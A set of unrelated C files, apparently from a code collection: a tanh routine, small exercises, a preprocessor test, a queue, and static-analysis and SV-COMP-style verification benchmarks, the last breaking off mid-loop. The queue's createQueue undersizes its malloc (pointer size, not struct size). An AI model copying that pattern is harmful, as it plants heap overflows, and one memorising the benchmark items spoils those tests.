return one / x + one; /* tanh(+-inf)=+-1 */
else
return one / x - one; /* tanh(NaN) = NaN */
}
/* |x| < 22 */
if (ix < 0x41b00000) { /* |x|<22 */
if (ix < 0x24000000) /* |x|<2**-55 */
return x * (one + x); /* tanh(small) = small */
if (ix >= 0x3f800000) { /* |x|>=1 */
t = expm1f(two * fabsf(x));
z = one - two / (t + two);
} else {
t = expm1f(-two * fabsf(x));
z = -t / (t + two);
}
/* |x| > 22, return +-1 */
} else {
z = one - tiny; /* raised inexact flag */
}
return (jx >= 0) ? z : -z;
}
#endif
|
the_stack_data/159515199.c | //31) To find largest among three numbers using conditional operator
#include<stdio.h>
#include<stdlib.h>
int main()
{
int a1,a2,a3,greater;
printf("Enter First, Second and Third Number:");
scanf("\n%d%d%d",&a1,&a2,&a3);
greater=(a1>a2&&a1>a3?a1:a2>a3?a2:a3);
printf("%d is greater",greater);
return 0;
}
|
the_stack_data/1244871.c | #if defined X
X
#endif
#if defined(X)
X
#endif
#if X
X
#endif
#define X 0
#if X
X
#endif
#if defined(X)
int x = 0;
#endif
#undef X
#define X 1
#if X
int
main()
{
return 0;
}
#endif
|
the_stack_data/34132.c | #include <stdio.h>
#include <stdlib.h>
#include <limits.h>
struct Queue {
int front, rear, size;
unsigned capicity;
int* array;
};
struct Queue* createQueue(unsigned capacity) {
struct Queue* queue = malloc(sizeof(struct Queue*));
queue->capicity = capacity;
queue->front = 0;
queue->size = 0;
queue->rear = capacity - 1;
queue->array = malloc(queue->capicity * sizeof(int));
return queue;
}
int isFull(struct Queue* queue) {
return queue->size == queue->capicity;
}
int isEmpty(struct Queue* queue) {
return queue->size == 0;
}
void enqueue(struct Queue* queue, int item) {
if (isFull(queue)) return;
queue->rear = (queue->rear + 1) % queue->capicity;
queue->array[queue->rear] = item;
queue->size = queue->size + 1;
// printf("%d enqueued to queue\n");
}
int dequeue(struct Queue* queue) {
if (isEmpty(queue)) return INT_MIN;
int item = queue->array[queue->front];
queue->front = (queue->front + 1) % queue->capicity;
queue->size = queue->size - 1;
return item;
}
int front(struct Queue* queue) {
if (isEmpty(queue)) return INT_MIN;
return queue->array[queue->front];
}
int rear(struct Queue* queue) {
if (isEmpty(queue)) return INT_MIN;
return queue->array[queue->rear];
}
int main(void)
{
struct Queue* queue = createQueue(1000);
enqueue(queue, 10);
enqueue(queue, 20);
enqueue(queue, 30);
enqueue(queue, 40);
enqueue(queue, 50);
printf("%d dequeue from queue\n", dequeue(queue));
printf("%d dequeue from queue\n", dequeue(queue));
printf("%d dequeue from queue\n", dequeue(queue));
printf("Front item is %d\n", front(queue));
printf("Rear item is %d\n", rear(queue));
/*
Output:
10 dequeue from queue
20 dequeue from queue
30 dequeue from queue
Front item is 40
Rear item is 50
*/
return 0;
}
|
the_stack_data/13674.c | // SKIP PARAM: --set ana.activated[+] apron
#include <assert.h>
int g;
int h;
int f(int x) {
return x - 2;
}
int main(void) {
int r;
if (r > -1000) { // avoid underflow
g = f(r);
h = r;
assert(g < h);
assert(h - g == 2);
}
return 0;
}
|
the_stack_data/159514211.c | extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
bool p9_l0, _x_p9_l0;
float _diverge_delta, _x__diverge_delta;
bool p9_l1, _x_p9_l1;
float delta, _x_delta;
float max_prop, _x_max_prop;
float proposed20, _x_proposed20;
float p9_x, _x_p9_x;
float proposed19, _x_proposed19;
float proposed18, _x_proposed18;
float p9_saved_max, _x_p9_saved_max;
float proposed17, _x_proposed17;
float proposed16, _x_proposed16;
float proposed15, _x_proposed15;
float proposed14, _x_proposed14;
float proposed13, _x_proposed13;
float proposed12, _x_proposed12;
float proposed11, _x_proposed11;
float proposed10, _x_proposed10;
bool p10_l0, _x_p10_l0;
float proposed9, _x_proposed9;
bool p10_l1, _x_p10_l1;
float proposed8, _x_proposed8;
float p10_x, _x_p10_x;
float proposed7, _x_proposed7;
float proposed6, _x_proposed6;
float proposed5, _x_proposed5;
float p10_saved_max, _x_p10_saved_max;
float proposed4, _x_proposed4;
float proposed3, _x_proposed3;
float proposed2, _x_proposed2;
float proposed1, _x_proposed1;
float proposed0, _x_proposed0;
bool p11_l0, _x_p11_l0;
bool p11_l1, _x_p11_l1;
float p11_x, _x_p11_x;
float p11_saved_max, _x_p11_saved_max;
bool p12_l0, _x_p12_l0;
bool p12_l1, _x_p12_l1;
float p12_x, _x_p12_x;
float p12_saved_max, _x_p12_saved_max;
bool inc_max_prop, _x_inc_max_prop;
bool id1, _x_id1;
bool id0, _x_id0;
bool id2, _x_id2;
bool id3, _x_id3;
bool id4, _x_id4;
bool p13_l0, _x_p13_l0;
bool p13_l1, _x_p13_l1;
bool turn1, _x_turn1;
float p13_x, _x_p13_x;
bool turn0, _x_turn0;
bool turn2, _x_turn2;
float p13_saved_max, _x_p13_saved_max;
bool turn3, _x_turn3;
bool turn4, _x_turn4;
bool p14_l0, _x_p14_l0;
bool p14_l1, _x_p14_l1;
float p14_x, _x_p14_x;
float p14_saved_max, _x_p14_saved_max;
bool p15_l0, _x_p15_l0;
bool p15_l1, _x_p15_l1;
float p15_x, _x_p15_x;
float p15_saved_max, _x_p15_saved_max;
bool p16_l0, _x_p16_l0;
bool p16_l1, _x_p16_l1;
float p16_x, _x_p16_x;
float p16_saved_max, _x_p16_saved_max;
bool p17_l0, _x_p17_l0;
bool p17_l1, _x_p17_l1;
float p17_x, _x_p17_x;
float p17_saved_max, _x_p17_saved_max;
bool p18_l0, _x_p18_l0;
bool p18_l1, _x_p18_l1;
float p18_x, _x_p18_x;
float p18_saved_max, _x_p18_saved_max;
bool p19_l0, _x_p19_l0;
bool p19_l1, _x_p19_l1;
float p19_x, _x_p19_x;
float p19_saved_max, _x_p19_saved_max;
bool p0_l0, _x_p0_l0;
bool p0_l1, _x_p0_l1;
float p0_x, _x_p0_x;
bool p20_l0, _x_p20_l0;
bool p20_l1, _x_p20_l1;
float p0_saved_max, _x_p0_saved_max;
float p20_x, _x_p20_x;
float p20_saved_max, _x_p20_saved_max;
bool p1_l0, _x_p1_l0;
bool p1_l1, _x_p1_l1;
float p1_x, _x_p1_x;
bool _J2835, _x__J2835;
float p1_saved_max, _x_p1_saved_max;
bool _J2829, _x__J2829;
bool _J2823, _x__J2823;
bool _J2817, _x__J2817;
bool _EL_U_2790, _x__EL_U_2790;
bool _EL_U_2792, _x__EL_U_2792;
bool _EL_U_2795, _x__EL_U_2795;
bool p2_l0, _x_p2_l0;
bool p2_l1, _x_p2_l1;
bool _EL_U_2797, _x__EL_U_2797;
float p2_x, _x_p2_x;
float p2_saved_max, _x_p2_saved_max;
bool p3_l0, _x_p3_l0;
bool p3_l1, _x_p3_l1;
float p3_x, _x_p3_x;
float p3_saved_max, _x_p3_saved_max;
bool p4_l0, _x_p4_l0;
bool p4_l1, _x_p4_l1;
float p4_x, _x_p4_x;
float p4_saved_max, _x_p4_saved_max;
bool p5_l0, _x_p5_l0;
bool p5_l1, _x_p5_l1;
float p5_x, _x_p5_x;
float p5_saved_max, _x_p5_saved_max;
bool p6_l0, _x_p6_l0;
bool p6_l1, _x_p6_l1;
float p6_x, _x_p6_x;
float p6_saved_max, _x_p6_saved_max;
bool p7_l0, _x_p7_l0;
bool p7_l1, _x_p7_l1;
float p7_x, _x_p7_x;
float p7_saved_max, _x_p7_saved_max;
bool p8_l0, _x_p8_l0;
bool p8_l1, _x_p8_l1;
float p8_x, _x_p8_x;
float p8_saved_max, _x_p8_saved_max;
int __steps_to_fair = __VERIFIER_nondet_int();
p9_l0 = __VERIFIER_nondet_bool();
_diverge_delta = __VERIFIER_nondet_float();
p9_l1 = __VERIFIER_nondet_bool();
delta = __VERIFIER_nondet_float();
max_prop = __VERIFIER_nondet_float();
proposed20 = __VERIFIER_nondet_float();
p9_x = __VERIFIER_nondet_float();
proposed19 = __VERIFIER_nondet_float();
proposed18 = __VERIFIER_nondet_float();
p9_saved_max = __VERIFIER_nondet_float();
proposed17 = __VERIFIER_nondet_float();
proposed16 = __VERIFIER_nondet_float();
proposed15 = __VERIFIER_nondet_float();
proposed14 = __VERIFIER_nondet_float();
proposed13 = __VERIFIER_nondet_float();
proposed12 = __VERIFIER_nondet_float();
proposed11 = __VERIFIER_nondet_float();
proposed10 = __VERIFIER_nondet_float();
p10_l0 = __VERIFIER_nondet_bool();
proposed9 = __VERIFIER_nondet_float();
p10_l1 = __VERIFIER_nondet_bool();
proposed8 = __VERIFIER_nondet_float();
p10_x = __VERIFIER_nondet_float();
proposed7 = __VERIFIER_nondet_float();
proposed6 = __VERIFIER_nondet_float();
proposed5 = __VERIFIER_nondet_float();
p10_saved_max = __VERIFIER_nondet_float();
proposed4 = __VERIFIER_nondet_float();
proposed3 = __VERIFIER_nondet_float();
proposed2 = __VERIFIER_nondet_float();
proposed1 = __VERIFIER_nondet_float();
proposed0 = __VERIFIER_nondet_float();
p11_l0 = __VERIFIER_nondet_bool();
p11_l1 = __VERIFIER_nondet_bool();
p11_x = __VERIFIER_nondet_float();
p11_saved_max = __VERIFIER_nondet_float();
p12_l0 = __VERIFIER_nondet_bool();
p12_l1 = __VERIFIER_nondet_bool();
p12_x = __VERIFIER_nondet_float();
p12_saved_max = __VERIFIER_nondet_float();
inc_max_prop = __VERIFIER_nondet_bool();
id1 = __VERIFIER_nondet_bool();
id0 = __VERIFIER_nondet_bool();
id2 = __VERIFIER_nondet_bool();
id3 = __VERIFIER_nondet_bool();
id4 = __VERIFIER_nondet_bool();
p13_l0 = __VERIFIER_nondet_bool();
p13_l1 = __VERIFIER_nondet_bool();
turn1 = __VERIFIER_nondet_bool();
p13_x = __VERIFIER_nondet_float();
turn0 = __VERIFIER_nondet_bool();
turn2 = __VERIFIER_nondet_bool();
p13_saved_max = __VERIFIER_nondet_float();
turn3 = __VERIFIER_nondet_bool();
turn4 = __VERIFIER_nondet_bool();
p14_l0 = __VERIFIER_nondet_bool();
p14_l1 = __VERIFIER_nondet_bool();
p14_x = __VERIFIER_nondet_float();
p14_saved_max = __VERIFIER_nondet_float();
p15_l0 = __VERIFIER_nondet_bool();
p15_l1 = __VERIFIER_nondet_bool();
p15_x = __VERIFIER_nondet_float();
p15_saved_max = __VERIFIER_nondet_float();
p16_l0 = __VERIFIER_nondet_bool();
p16_l1 = __VERIFIER_nondet_bool();
p16_x = __VERIFIER_nondet_float();
p16_saved_max = __VERIFIER_nondet_float();
p17_l0 = __VERIFIER_nondet_bool();
p17_l1 = __VERIFIER_nondet_bool();
p17_x = __VERIFIER_nondet_float();
p17_saved_max = __VERIFIER_nondet_float();
p18_l0 = __VERIFIER_nondet_bool();
p18_l1 = __VERIFIER_nondet_bool();
p18_x = __VERIFIER_nondet_float();
p18_saved_max = __VERIFIER_nondet_float();
p19_l0 = __VERIFIER_nondet_bool();
p19_l1 = __VERIFIER_nondet_bool();
p19_x = __VERIFIER_nondet_float();
p19_saved_max = __VERIFIER_nondet_float();
p0_l0 = __VERIFIER_nondet_bool();
p0_l1 = __VERIFIER_nondet_bool();
p0_x = __VERIFIER_nondet_float();
p20_l0 = __VERIFIER_nondet_bool();
p20_l1 = __VERIFIER_nondet_bool();
p0_saved_max = __VERIFIER_nondet_float();
p20_x = __VERIFIER_nondet_float();
p20_saved_max = __VERIFIER_nondet_float();
p1_l0 = __VERIFIER_nondet_bool();
p1_l1 = __VERIFIER_nondet_bool();
p1_x = __VERIFIER_nondet_float();
_J2835 = __VERIFIER_nondet_bool();
p1_saved_max = __VERIFIER_nondet_float();
_J2829 = __VERIFIER_nondet_bool();
_J2823 = __VERIFIER_nondet_bool();
_J2817 = __VERIFIER_nondet_bool();
_EL_U_2790 = __VERIFIER_nondet_bool();
_EL_U_2792 = __VERIFIER_nondet_bool();
_EL_U_2795 = __VERIFIER_nondet_bool();
p2_l0 = __VERIFIER_nondet_bool();
p2_l1 = __VERIFIER_nondet_bool();
_EL_U_2797 = __VERIFIER_nondet_bool();
p2_x = __VERIFIER_nondet_float();
p2_saved_max = __VERIFIER_nondet_float();
p3_l0 = __VERIFIER_nondet_bool();
p3_l1 = __VERIFIER_nondet_bool();
p3_x = __VERIFIER_nondet_float();
p3_saved_max = __VERIFIER_nondet_float();
p4_l0 = __VERIFIER_nondet_bool();
p4_l1 = __VERIFIER_nondet_bool();
p4_x = __VERIFIER_nondet_float();
p4_saved_max = __VERIFIER_nondet_float();
p5_l0 = __VERIFIER_nondet_bool();
p5_l1 = __VERIFIER_nondet_bool();
p5_x = __VERIFIER_nondet_float();
p5_saved_max = __VERIFIER_nondet_float();
p6_l0 = __VERIFIER_nondet_bool();
p6_l1 = __VERIFIER_nondet_bool();
p6_x = __VERIFIER_nondet_float();
p6_saved_max = __VERIFIER_nondet_float();
p7_l0 = __VERIFIER_nondet_bool();
p7_l1 = __VERIFIER_nondet_bool();
p7_x = __VERIFIER_nondet_float();
p7_saved_max = __VERIFIER_nondet_float();
p8_l0 = __VERIFIER_nondet_bool();
p8_l1 = __VERIFIER_nondet_bool();
p8_x = __VERIFIER_nondet_float();
p8_saved_max = __VERIFIER_nondet_float();
bool __ok = ((((((((( !p20_l0) && ( !p20_l1)) && (((( !p20_l0) && ( !p20_l1)) || (p20_l0 && ( !p20_l1))) || ((p20_l1 && ( !p20_l0)) || (p20_l0 && p20_l1)))) && ((p20_x == 0.0) && (max_prop == p20_saved_max))) && ( !(proposed20 <= 0.0))) && ((p20_x <= proposed20) || ( !(p20_l1 && ( !p20_l0))))) && ((((((( !p19_l0) && ( !p19_l1)) && (((( !p19_l0) && ( !p19_l1)) || (p19_l0 && ( !p19_l1))) || ((p19_l1 && ( !p19_l0)) || (p19_l0 && p19_l1)))) && ((p19_x == 0.0) && (max_prop == p19_saved_max))) && ( !(proposed19 <= 0.0))) && ((p19_x <= proposed19) || ( !(p19_l1 && ( !p19_l0))))) && ((((((( !p18_l0) && ( !p18_l1)) && (((( !p18_l0) && ( !p18_l1)) || (p18_l0 && ( !p18_l1))) || ((p18_l1 && ( !p18_l0)) || (p18_l0 && p18_l1)))) && ((p18_x == 0.0) && (max_prop == p18_saved_max))) && ( !(proposed18 <= 0.0))) && ((p18_x <= proposed18) || ( !(p18_l1 && ( !p18_l0))))) && ((((((( !p17_l0) && ( !p17_l1)) && (((( !p17_l0) && ( !p17_l1)) || (p17_l0 && ( !p17_l1))) || ((p17_l1 && ( !p17_l0)) || (p17_l0 && p17_l1)))) && ((p17_x == 0.0) && (max_prop == p17_saved_max))) && ( !(proposed17 <= 0.0))) && ((p17_x <= proposed17) || ( !(p17_l1 && ( !p17_l0))))) && ((((((( !p16_l0) && ( !p16_l1)) && (((( !p16_l0) && ( !p16_l1)) || (p16_l0 && ( !p16_l1))) || ((p16_l1 && ( !p16_l0)) || (p16_l0 && p16_l1)))) && ((p16_x == 0.0) && (max_prop == p16_saved_max))) && ( !(proposed16 <= 0.0))) && ((p16_x <= proposed16) || ( !(p16_l1 && ( !p16_l0))))) && ((((((( !p15_l0) && ( !p15_l1)) && (((( !p15_l0) && ( !p15_l1)) || (p15_l0 && ( !p15_l1))) || ((p15_l1 && ( !p15_l0)) || (p15_l0 && p15_l1)))) && ((p15_x == 0.0) && (max_prop == p15_saved_max))) && ( !(proposed15 <= 0.0))) && ((p15_x <= proposed15) || ( !(p15_l1 && ( !p15_l0))))) && ((((((( !p14_l0) && ( !p14_l1)) && (((( !p14_l0) && ( !p14_l1)) || (p14_l0 && ( !p14_l1))) || ((p14_l1 && ( !p14_l0)) || (p14_l0 && p14_l1)))) && ((p14_x == 0.0) && (max_prop == p14_saved_max))) && ( !(proposed14 <= 0.0))) && ((p14_x <= proposed14) || ( !(p14_l1 && ( !p14_l0))))) && ((((((( !p13_l0) && ( !p13_l1)) && (((( !p13_l0) && ( !p13_l1)) || (p13_l0 && ( !p13_l1))) || ((p13_l1 && ( !p13_l0)) || (p13_l0 && p13_l1)))) && ((p13_x == 0.0) && (max_prop == p13_saved_max))) && ( !(proposed13 <= 0.0))) && ((p13_x <= proposed13) || ( !(p13_l1 && ( !p13_l0))))) && ((((((( !p12_l0) && ( !p12_l1)) && (((( !p12_l0) && ( !p12_l1)) || (p12_l0 && ( !p12_l1))) || ((p12_l1 && ( !p12_l0)) || (p12_l0 && p12_l1)))) && ((p12_x == 0.0) && (max_prop == p12_saved_max))) && ( !(proposed12 <= 0.0))) && ((p12_x <= proposed12) || ( !(p12_l1 && ( !p12_l0))))) && ((((((( !p11_l0) && ( !p11_l1)) && (((( !p11_l0) && ( !p11_l1)) || (p11_l0 && ( !p11_l1))) || ((p11_l1 && ( !p11_l0)) || (p11_l0 && p11_l1)))) && ((p11_x == 0.0) && (max_prop == p11_saved_max))) && ( !(proposed11 <= 0.0))) && ((p11_x <= proposed11) || ( !(p11_l1 && ( !p11_l0))))) && ((((((( !p10_l0) && ( !p10_l1)) && (((( !p10_l0) && ( !p10_l1)) || (p10_l0 && ( !p10_l1))) || ((p10_l1 && ( !p10_l0)) || (p10_l0 && p10_l1)))) && ((p10_x == 0.0) && (max_prop == p10_saved_max))) && ( !(proposed10 <= 0.0))) && ((p10_x <= proposed10) || ( !(p10_l1 && ( !p10_l0))))) && ((((((( !p9_l0) && ( !p9_l1)) && (((( !p9_l0) && ( !p9_l1)) || (p9_l0 && ( !p9_l1))) || ((p9_l1 && ( !p9_l0)) || (p9_l0 && p9_l1)))) && ((p9_x == 0.0) && (max_prop == p9_saved_max))) && ( !(proposed9 <= 0.0))) && ((p9_x <= proposed9) || ( !(p9_l1 && ( !p9_l0))))) && ((((((( !p8_l0) && ( !p8_l1)) && (((( !p8_l0) && ( !p8_l1)) || (p8_l0 && ( !p8_l1))) || ((p8_l1 && ( !p8_l0)) || (p8_l0 && p8_l1)))) && ((p8_x == 0.0) && (max_prop == p8_saved_max))) && ( !(proposed8 <= 0.0))) && ((p8_x <= proposed8) || ( !(p8_l1 && ( !p8_l0))))) && ((((((( !p7_l0) && ( !p7_l1)) && (((( !p7_l0) && ( !p7_l1)) || (p7_l0 && ( !p7_l1))) || ((p7_l1 && ( !p7_l0)) || (p7_l0 && p7_l1)))) && ((p7_x == 0.0) && (max_prop == p7_saved_max))) && ( !(proposed7 <= 0.0))) && ((p7_x <= proposed7) || ( !(p7_l1 && ( !p7_l0))))) && ((((((( !p6_l0) && ( !p6_l1)) && (((( !p6_l0) && ( !p6_l1)) || (p6_l0 && ( !p6_l1))) || ((p6_l1 && ( !p6_l0)) || (p6_l0 && p6_l1)))) && ((p6_x == 0.0) && (max_prop == p6_saved_max))) && ( !(proposed6 <= 0.0))) && ((p6_x <= proposed6) || ( !(p6_l1 && ( !p6_l0))))) && ((((((( !p5_l0) && ( !p5_l1)) && (((( !p5_l0) && ( !p5_l1)) || (p5_l0 && ( !p5_l1))) || ((p5_l1 && ( !p5_l0)) || (p5_l0 && p5_l1)))) && ((p5_x == 0.0) && (max_prop == p5_saved_max))) && ( !(proposed5 <= 0.0))) && ((p5_x <= proposed5) || ( !(p5_l1 && ( !p5_l0))))) && ((((((( !p4_l0) && ( !p4_l1)) && (((( !p4_l0) && ( !p4_l1)) || (p4_l0 && ( !p4_l1))) || ((p4_l1 && ( !p4_l0)) || (p4_l0 && p4_l1)))) && ((p4_x == 0.0) && (max_prop == p4_saved_max))) && ( !(proposed4 <= 0.0))) && ((p4_x <= proposed4) || ( !(p4_l1 && ( !p4_l0))))) && ((((((( !p3_l0) && ( !p3_l1)) && (((( !p3_l0) && ( !p3_l1)) || (p3_l0 && ( !p3_l1))) || ((p3_l1 && ( !p3_l0)) || (p3_l0 && p3_l1)))) && ((p3_x == 0.0) && (max_prop == p3_saved_max))) && ( !(proposed3 <= 0.0))) && ((p3_x <= proposed3) || ( !(p3_l1 && ( !p3_l0))))) && ((((((( !p2_l0) && ( !p2_l1)) && (((( !p2_l0) && ( !p2_l1)) || (p2_l0 && ( !p2_l1))) || ((p2_l1 && ( !p2_l0)) || (p2_l0 && p2_l1)))) && ((p2_x == 0.0) && (max_prop == p2_saved_max))) && ( !(proposed2 <= 0.0))) && ((p2_x <= proposed2) || ( !(p2_l1 && ( !p2_l0))))) && ((((((( !p1_l0) && ( !p1_l1)) && (((( !p1_l0) && ( !p1_l1)) || (p1_l0 && ( !p1_l1))) || ((p1_l1 && ( !p1_l0)) || (p1_l0 && p1_l1)))) && ((p1_x == 0.0) && (max_prop == p1_saved_max))) && ( !(proposed1 <= 0.0))) && ((p1_x <= proposed1) || ( !(p1_l1 && ( !p1_l0))))) && ((((((( !p0_l0) && ( !p0_l1)) && (((( !p0_l0) && ( !p0_l1)) || (p0_l0 && ( !p0_l1))) || ((p0_l1 && ( !p0_l0)) || (p0_l0 && p0_l1)))) && ((p0_x == 0.0) && (max_prop == p0_saved_max))) && ( !(proposed0 <= 0.0))) && ((p0_x <= proposed0) || ( !(p0_l1 && ( !p0_l0))))) && (((((((((((((((((((((((((((id4 && (( !id3) && (id2 && (id0 && ( !id1))))) || ((id4 && (( !id3) && (id2 && (( !id0) && ( !id1))))) || ((id4 && (( !id3) && (( !id2) && (id0 && id1)))) || ((id4 && (( !id3) && (( !id2) && (id1 && ( !id0))))) || ((id4 && (( !id3) && (( !id2) && (id0 && ( !id1))))) || ((id4 && (( !id3) && (( !id2) && (( !id0) && ( !id1))))) || ((( !id4) && (id3 && (id2 && (id0 && id1)))) || ((( !id4) && (id3 && (id2 && (id1 && ( !id0))))) || ((( !id4) && (id3 && (id2 && (id0 && ( !id1))))) || ((( !id4) && (id3 && (id2 && (( !id0) && ( !id1))))) || ((( !id4) && (id3 && (( !id2) && (id0 && id1)))) || ((( !id4) && (id3 && (( !id2) && (id1 && ( !id0))))) || ((( !id4) && (id3 && (( !id2) && (id0 && ( !id1))))) || ((( !id4) && (id3 && (( !id2) && (( !id0) && ( !id1))))) || ((( !id4) && (( !id3) && (id2 && (id0 && id1)))) || ((( !id4) && (( !id3) && (id2 && (id1 && ( !id0))))) || ((( !id4) && (( !id3) && (id2 && (id0 && ( !id1))))) || ((( !id4) && (( !id3) && (id2 && (( !id0) && ( !id1))))) || ((( !id4) && (( !id3) && (( !id2) && (id0 && id1)))) || ((( !id4) && (( !id3) && (( !id2) && (id1 && ( !id0))))) || ((( !id4) && (( !id3) && (( !id2) && (( !id0) && ( !id1))))) || (( !id4) && (( !id3) && (( !id2) && (id0 && ( !id1)))))))))))))))))))))))))) && ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) || ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) || ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) || ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) || ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) || ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) || ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) || ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) || ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) || ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) || ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) || ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) || ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) || ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) || ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) || ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) || ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) || ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) || ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) || ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) || (( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1)))))))))))))))))))))))))) && ((( !id4) && (( !id3) && (( !id2) && (( !id0) && ( !id1))))) && inc_max_prop)) && (0.0 <= delta)) && (proposed0 <= max_prop)) && (proposed1 <= max_prop)) && (proposed2 <= max_prop)) && (proposed3 <= max_prop)) && (proposed4 <= max_prop)) && (proposed5 <= max_prop)) && (proposed6 <= max_prop)) && (proposed7 <= max_prop)) && (proposed8 <= max_prop)) && (proposed9 <= max_prop)) && (proposed10 <= max_prop)) && (proposed11 <= max_prop)) && (proposed12 <= max_prop)) && (proposed13 <= max_prop)) && (proposed14 <= max_prop)) && (proposed15 <= max_prop)) && (proposed16 <= max_prop)) && (proposed17 <= max_prop)) && (proposed18 <= max_prop)) && (proposed19 <= max_prop)) && (proposed20 <= max_prop)) && (((((((((((((((((((((proposed0 == max_prop) || (proposed1 == max_prop)) || (proposed2 == max_prop)) || (proposed3 == max_prop)) || (proposed4 == max_prop)) || (proposed5 == max_prop)) || (proposed6 == max_prop)) || (proposed7 == max_prop)) || (proposed8 == max_prop)) || (proposed9 == max_prop)) || (proposed10 == max_prop)) || (proposed11 == max_prop)) || (proposed12 == max_prop)) || (proposed13 == max_prop)) || (proposed14 == max_prop)) || (proposed15 == max_prop)) || (proposed16 == max_prop)) || (proposed17 == max_prop)) || (proposed18 == max_prop)) || (proposed19 == max_prop)) || (proposed20 == max_prop)))))))))))))))))))))))) && (delta == _diverge_delta)) && ((((( !((_EL_U_2797 || ( !(( !inc_max_prop) || _EL_U_2795))) || (_EL_U_2792 || ( !((1.0 <= _diverge_delta) || _EL_U_2790))))) && ( !_J2817)) && ( !_J2823)) && ( !_J2829)) && ( !_J2835)));
while (__steps_to_fair >= 0 && __ok) {
if ((((_J2817 && _J2823) && _J2829) && _J2835)) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x_p9_l0 = __VERIFIER_nondet_bool();
_x__diverge_delta = __VERIFIER_nondet_float();
_x_p9_l1 = __VERIFIER_nondet_bool();
_x_delta = __VERIFIER_nondet_float();
_x_max_prop = __VERIFIER_nondet_float();
_x_proposed20 = __VERIFIER_nondet_float();
_x_p9_x = __VERIFIER_nondet_float();
_x_proposed19 = __VERIFIER_nondet_float();
_x_proposed18 = __VERIFIER_nondet_float();
_x_p9_saved_max = __VERIFIER_nondet_float();
_x_proposed17 = __VERIFIER_nondet_float();
_x_proposed16 = __VERIFIER_nondet_float();
_x_proposed15 = __VERIFIER_nondet_float();
_x_proposed14 = __VERIFIER_nondet_float();
_x_proposed13 = __VERIFIER_nondet_float();
_x_proposed12 = __VERIFIER_nondet_float();
_x_proposed11 = __VERIFIER_nondet_float();
_x_proposed10 = __VERIFIER_nondet_float();
_x_p10_l0 = __VERIFIER_nondet_bool();
_x_proposed9 = __VERIFIER_nondet_float();
_x_p10_l1 = __VERIFIER_nondet_bool();
_x_proposed8 = __VERIFIER_nondet_float();
_x_p10_x = __VERIFIER_nondet_float();
_x_proposed7 = __VERIFIER_nondet_float();
_x_proposed6 = __VERIFIER_nondet_float();
_x_proposed5 = __VERIFIER_nondet_float();
_x_p10_saved_max = __VERIFIER_nondet_float();
_x_proposed4 = __VERIFIER_nondet_float();
_x_proposed3 = __VERIFIER_nondet_float();
_x_proposed2 = __VERIFIER_nondet_float();
_x_proposed1 = __VERIFIER_nondet_float();
_x_proposed0 = __VERIFIER_nondet_float();
_x_p11_l0 = __VERIFIER_nondet_bool();
_x_p11_l1 = __VERIFIER_nondet_bool();
_x_p11_x = __VERIFIER_nondet_float();
_x_p11_saved_max = __VERIFIER_nondet_float();
_x_p12_l0 = __VERIFIER_nondet_bool();
_x_p12_l1 = __VERIFIER_nondet_bool();
_x_p12_x = __VERIFIER_nondet_float();
_x_p12_saved_max = __VERIFIER_nondet_float();
_x_inc_max_prop = __VERIFIER_nondet_bool();
_x_id1 = __VERIFIER_nondet_bool();
_x_id0 = __VERIFIER_nondet_bool();
_x_id2 = __VERIFIER_nondet_bool();
_x_id3 = __VERIFIER_nondet_bool();
_x_id4 = __VERIFIER_nondet_bool();
_x_p13_l0 = __VERIFIER_nondet_bool();
_x_p13_l1 = __VERIFIER_nondet_bool();
_x_turn1 = __VERIFIER_nondet_bool();
_x_p13_x = __VERIFIER_nondet_float();
_x_turn0 = __VERIFIER_nondet_bool();
_x_turn2 = __VERIFIER_nondet_bool();
_x_p13_saved_max = __VERIFIER_nondet_float();
_x_turn3 = __VERIFIER_nondet_bool();
_x_turn4 = __VERIFIER_nondet_bool();
_x_p14_l0 = __VERIFIER_nondet_bool();
_x_p14_l1 = __VERIFIER_nondet_bool();
_x_p14_x = __VERIFIER_nondet_float();
_x_p14_saved_max = __VERIFIER_nondet_float();
_x_p15_l0 = __VERIFIER_nondet_bool();
_x_p15_l1 = __VERIFIER_nondet_bool();
_x_p15_x = __VERIFIER_nondet_float();
_x_p15_saved_max = __VERIFIER_nondet_float();
_x_p16_l0 = __VERIFIER_nondet_bool();
_x_p16_l1 = __VERIFIER_nondet_bool();
_x_p16_x = __VERIFIER_nondet_float();
_x_p16_saved_max = __VERIFIER_nondet_float();
_x_p17_l0 = __VERIFIER_nondet_bool();
_x_p17_l1 = __VERIFIER_nondet_bool();
_x_p17_x = __VERIFIER_nondet_float();
_x_p17_saved_max = __VERIFIER_nondet_float();
_x_p18_l0 = __VERIFIER_nondet_bool();
_x_p18_l1 = __VERIFIER_nondet_bool();
_x_p18_x = __VERIFIER_nondet_float();
_x_p18_saved_max = __VERIFIER_nondet_float();
_x_p19_l0 = __VERIFIER_nondet_bool();
_x_p19_l1 = __VERIFIER_nondet_bool();
_x_p19_x = __VERIFIER_nondet_float();
